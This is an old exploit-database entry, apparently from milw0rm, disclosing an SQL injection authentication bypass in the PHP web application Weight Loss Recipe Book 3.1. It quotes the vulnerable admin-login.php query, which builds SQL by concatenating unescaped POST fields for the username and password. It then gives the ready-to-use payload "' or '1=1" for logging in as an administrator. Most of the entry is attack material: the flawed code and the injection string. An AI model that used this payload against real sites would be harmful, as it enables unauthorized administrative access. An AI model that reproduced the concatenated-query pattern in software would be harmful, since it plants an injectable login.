Weight Loss Recipe Book 3.1 - Authentication Bypass

Author: x0r
type: webapps
platform: php
port: 
date_added: 2009-01-10
date_updated: 
verified: 1
codes: OSVDB-51449
tags: 
aliases: 
screenshot_url: 
application_url: 

###############################
# Weight Loss Recipe Book 3.1 #
###############################

Autore: x0r
Emails: x0r@live.it \ andry2000@hotmail.it
Cms Site: http://www.my-health-and-fitness.org/weight-loss-recipe-book.html
################################

Bug In \wlrb_files\admin-login.php

SELECT *
				FROM ' . $program_prefix . 'administrators
				WHERE administrators_username = "' . $_POST['administrators_username']
. '" and
					administrators_pass = PASSWORD("' . $_POST['administrators_pass'] .
'")';

Exploit: ' or '1=1

##############################

Greetz: EdGaR :P

# milw0rm.com [2009-01-11]